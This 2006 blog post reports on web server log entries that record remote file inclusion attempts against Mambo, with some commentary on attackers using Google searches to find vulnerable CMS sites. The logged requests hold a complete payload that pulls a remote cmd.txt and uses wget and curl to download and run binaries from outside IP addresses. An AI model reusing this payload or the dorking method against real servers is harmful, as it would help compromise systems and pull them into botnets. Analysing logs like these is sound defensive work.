Zeroday 01100100011010010

Still think that firewall is enough to protect your web server? Port 80 to the rescue!
Through a combination of curl, wget and various shell commands this “URL” is a sneaky little rootkit. I haven’t had time to download the executables and rip them apart but something tells me that after all is said and done… you end up on some IRC server in Brazil. Call it a hunch.

130.227.55.243 – – [25/Apr/2006:10:08:10 -0700] “GET /index2.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://210.3.4.193/cmd.txt?&cmd=cd%20/tmp;wget%2070.168.74.193/strange;chmod%20744%20strange;./strange;cd%20/var/tmp;curl%20-o%20arts%20http://207.90.211.54/arts;chmod%20744%20arts;./arts;echo%20YYY;echo| HTTP/1.1” 404 1044 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)”130.227.55.243 – – [25/Apr/2006:10:08:11 -0700] “GET /index.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://210.3.4.193/cmd.txt?&cmd=cd%20/tmp;wget%2070.168.74.193/strange;chmod%20744%20strange;./strange;cd%20/var/tmp;curl%20-o%20arts%20http://207.90.211.54/arts;chmod%20744%20arts;./arts;echo%20YYY;echo| HTTP/1.1” 404 1044 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)”130.227.55.243 – – [25/Apr/2006:10:08:12 -0700] “GET /mambo/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://210.3.4.193/cmd.txt?&cmd=cd%20/tmp;wget%2070.168.74.193/strange;chmod%20744%20strange;./strange;cd%20/var/tmp;curl%20-o%20arts%20http://207.90.211.54/arts;chmod%20744%20arts;./arts;echo%20YYY;echo| HTTP/1.1” 404 1044 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)”

Seclists.org also noticed this traffic back in March.
All of them, as we can see, are exploitation attempts to known bugged
pages (like the newest Mambo bug, the old XMLRPC problem with old
versions of Drupal, etc). I guess that they are getting a list of
domain names and trying them out with those vulns, and I believe that
they may already have some thousands of vuln machines in their hands.
Such attacks might been enhanced by using Google to guess which
domains are using which CMS… for example, looking on Google for “A
password and instructions will be sent to this e-mail address, so make
sure it is accurate.” will return a bunch of Drupal websites (88,500
according to Google, even though we can see just the first 1000 ones).

The most interesting comment here is the use of Google to hone the attacks. There is even a book on the market that talks about hacking with google. One of the more novel methods was extracting credit card numbers. Before anyone wonders whether Google gets sued over the random crimes committed by others using Google look no further.

More details found on a forum regarding the make up of this root kit:

 another botnet irc client:
 http://210.3.4.193/cmd.txt